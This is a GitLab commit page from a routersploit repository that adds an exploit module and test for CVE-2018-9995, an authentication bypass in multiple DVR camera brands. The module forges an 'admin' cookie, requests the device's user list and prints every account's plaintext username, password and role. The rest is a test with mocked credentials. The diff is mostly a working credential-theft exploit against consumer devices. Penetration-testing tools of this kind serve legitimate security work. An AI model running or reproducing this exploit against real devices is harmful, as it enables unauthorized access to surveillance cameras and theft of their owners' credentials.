Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
f9d52917
Unverified
Commit
f9d52917
authored
May 07, 2018
by
Marcin Bury
Committed by
GitHub
May 07, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding exploit for CVE-2018-9995 - DVR Creds Disclosure (#393)
parent
757aa6a9
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
86 additions
and
0 deletions
+86
-0
dvr_creds_disclosure.py
...it/modules/exploits/cameras/multi/dvr_creds_disclosure.py
+70
-0
test_dvr_creds_disclosure.py
tests/exploits/cameras/multi/test_dvr_creds_disclosure.py
+16
-0
No files found.
routersploit/modules/exploits/cameras/multi/dvr_creds_disclosure.py
0 → 100644
View file @
f9d52917
import
json
from
routersploit.core.exploit
import
*
from
routersploit.core.http.http_client
import
HTTPClient
class
Exploit
(
HTTPClient
):
__info__
=
{
"name"
:
"DVR Creds Disclosure"
,
"description"
:
"Module exploits authentication bypass vulnerability in multiple DVR devices allowing "
"attacker to retrieve users credentials."
,
"authors"
:
(
"ezelf <ezelf86[at]protonmail.com>"
,
# vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
"references"
:
(
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995"
,
"https://github.com/ezelf/CVE-2018-9995_dvr_credentials"
,
),
"devices"
:
(
"TBK DVR4104"
,
"DVR4216"
,
"Novo"
,
"CeNova"
,
"QSee"
,
"Pulnix"
,
"XVR 5 in 1"
,
"Securus"
,
"Night OWL"
,
"DVR Login"
,
"HVR Login"
,
"MDVR Login"
,
),
}
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
__init__
(
self
):
self
.
credentials
=
[]
def
run
(
self
):
self
.
credentials
=
[]
if
self
.
check
():
print_success
(
"Target seems to be vulnerable"
)
print_table
((
"Username"
,
"Password"
,
"Role"
),
*
self
.
credentials
)
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
@mute
def
check
(
self
):
cookies
=
{
"uid"
:
"admin"
,
}
response
=
self
.
http_request
(
method
=
"GET"
,
path
=
"/device.rsp?opt=user&cmd=list"
,
cookies
=
cookies
,
)
if
response
:
try
:
json_data
=
json
.
loads
(
response
.
text
)
for
data
in
json_data
[
"list"
]:
self
.
credentials
.
append
((
data
[
"uid"
],
data
[
"pwd"
],
data
[
"role"
]))
return
True
# target is vulnerable
except
Exception
:
pass
return
False
# target is not vulnerable
tests/exploits/cameras/multi/test_dvr_creds_disclosure.py
0 → 100644
View file @
f9d52917
from
routersploit.modules.exploits.cameras.multi.dvr_creds_disclosure
import
Exploit
def
test_check_success
(
target
):
""" Test scenario - successful exploitation """
route_mock
=
target
.
get_route_mock
(
"/device.rsp"
,
methods
=
[
"GET"
])
route_mock
.
return_value
=
(
"""{"result":0,"list":[{"uid":"admin","pwd":"admin","role":2,"enmac":0,"mac":"00:00:00:00:00:00","playback":4294967295,"view":4294967295,"rview":4294967295,"ptz":4294967295,"backup":4294967295,"opt":4294967295},{"uid":"test","pwd":"test","role":3,"enmac":0,"mac":"00:11:22:33:44:55","playback":65535,"view":0,"rview":65535,"ptz":0,"backup":65535,"opt":62437}]}"""
)
exploit
=
Exploit
()
exploit
.
target
=
target
.
host
exploit
.
port
=
target
.
port
assert
exploit
.
check
()
assert
exploit
.
run
()
is
None
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment